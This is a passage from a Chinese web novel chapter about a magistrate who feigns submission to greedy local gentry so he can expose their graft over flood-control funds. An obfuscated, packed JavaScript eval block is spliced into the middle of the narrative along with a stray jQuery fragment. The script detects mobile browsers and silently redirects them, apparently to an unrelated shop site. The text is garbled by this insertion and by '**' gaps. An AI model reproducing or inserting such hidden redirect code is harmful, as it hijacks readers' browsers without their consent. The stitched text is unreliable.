便假意同情道:“王大人的难处,我等理解。只是这治水关乎一郡生灵,若因固守成规而致功败垂成,岂不更是辜负圣恩?大人若能灵活变通,采用更稳妥之法,我等乡绅,必定鼎力支持!要钱出钱,要力出力!”
“对!孙兄说得对!”赵明接过话头,开始摆谱。
“不是我赵某夸口,在这沧澜郡,只要我们几家点头,没有办不成的事!石料、木材、人工,都不是问题!关键是…王大人得拿出个让我们放心的章程来。”
王安心中冷笑,这就急着要好处了?
但面上却愈发“诚恳”,语气中也不免带了几分恳求的意思:“诸位员外如此深明大义,王某感激不尽!只是…这章程变更,非王某一人所能决断,需得奏明朝廷。眼下最紧迫的,是修复堤坝,稳住民心。所需银钱物料甚巨,府库一时难以支应…不知诸位能否先行垫付一二?待王某奏明朝廷,款项拨下,定当连本带利归还!此外,这工程管理繁杂,王某手下人手不足,也需借重诸位员外麾下的得力干才,协助调度…”
这简直是送上门来的肥肉!
垫资这事儿,明面上看着是他们吃亏,实际上这里头能大做文章的地方可多了是了。
王安现款现付,他们反而无法趁机做高价格。
但是垫付这事,具体钱都花在了哪儿,哪处多哪处少,可就都由得他们说的算了。
正好可以控制工程款项!
至于派人参与管理,那便更是直接插手工程核心。
这也就意味着,这水患何时能够治好,都由得他们说了算。
而且,他们也不怕王安反悔。
毕竟到时候,王安的命根子可就把持在他们手里了。
王安就算是想掉头回京城告状,最先被治罪的也是他。
一想到这里,赵明等人就忍不住心中狂喜。
看来这王安不仅是服软,简直是快要跪地求饶了!
三人假意推辞一番,互相唱和。
最终赵明作为代表,捋着胡须,拿腔拿调地道:“既然王大人如此信任,又关乎沧澜郡百姓福祉,我等着实不忍推辞。这样吧,垫资之事,我们可以商量。派人协助管理,也未尝不可。只是…”
他拖长了音调,故作为难的道。
“这工程用料、招募民夫等具体事宜,须得由我们派去的人主要负责,大人您居中协调即可。毕竟,我们更熟悉本地情况嘛。而且,这新法…是否可暂时搁置,先用传统之法修复险工?待局势稳定,再从长计议新政如何?”
这便是要彻底架空王安,夺取治水主导权,并扼杀新政了。
没想到这些人竟然如此不知收敛,稍稍给些好处,就这般大胆了,甚至连朝廷的新政都敢干涉!
然而这还没完。
王安尚且未答应下来,那边的钱家主就又补充了一句。
“不过,垫资之事虽然可以商议,但大人可否先行给付一些?不是我们不相信大人,主要是我们也是小本生意,若全都垫付进去,只怕后续其他的生意也无法维持,还请大人理解。”
王安心中怒极,却强忍着,脸上挤出一丝如释重负的笑容,举起酒杯。
“那是自然,这一笔定金,本官会亲自给付。诸位员外肯伸出援手,解本官燃眉之急,已是天大的恩情!具体细节…容本官斟酌,再与诸位细细商议。来,本官敬诸位一杯,聊表谢意!”
“好说!好说!”
“王大人客气了!”
赵明等人只觉此刻的王安已经被他们**于股掌之中,自然志得意满,举杯畅饮。
新政夭折,一切恢复旧观的美好未来,这可是他们最期盼不过的事儿。
宴席终了,赵明等人个个满面红光,醉醺醺的离去。
而王安在送走宾客后,脸上的愁容瞬间消失,转头李茂和陈望低声道:“他们贪心已起,戒心已降。接下来,按计划行事,务必拿到他们干预工程、中饱私囊的铁证。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723192|182640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“是!大人!”李茂和陈望肃然应道。
次日,赵明等人果然将一份厚厚的物料清单和费用预算送到了王安的案头。
王安展开细看,嘴角冷笑的弧度不禁越来越深。
清单上,常见的青石、木料价格虽比市价略高,但尚在合理范围内,显然对方也留了后路,怕被抓住把柄。
然而,几种标注为“沧澜**”的材料,如黑曜石、铁线藤之流,价格却高得离谱,竟是寻常类似材料的十数倍不止。
“大人,这…这简直是抢钱!”李茂指着那几项,气得手都抖了。
“这些材料,下官略有耳闻,虽确是本地特产,但绝无如此昂贵之理!这分明是趁火**!”
王安虽然生气,但对他们此举却也并不意外。
他点了点清单上那些价格正常的材料,开口道:“李郡守稍安勿躁,你看这些青石、木材,价格虽有浮动,但尚可解释为地域差异、运输成本。若我们仅凭这几样高价特产去**,他们大可狡辩说物以稀为贵,或夸大开采、加工难度,很难将其定为铁证。”
陈望思索一番,也在一旁点头附和:“大人明鉴。学生暗中查访过,方圆百里内,这黑曜石矿和铁线藤的采集地,几乎都被赵、钱、孙三家垄断,外人难以插手,定价权完全在他们手中。他们若一口咬定成本如此,我们确实难以驳斥。而他们拿准的,正是如今水患情况紧急,我们很难从外地运来这些材料。所以想要定罪,除非…我们能拿到他们真实的成本账目。”
王安认可的微微颔首:“你不错。”
问题的根源,不在于价格高低,而在于他们为何能如此肆无忌惮地定价。
凡是市面上能找出来的材料,除了靠独门独户的秘法所特制的以外,基本上都可以找到替代品。
能够随意定价,定然是觉得此举有保障才敢的。
而至于成本多少,中间赚了多少差价,他们自己心里才有数。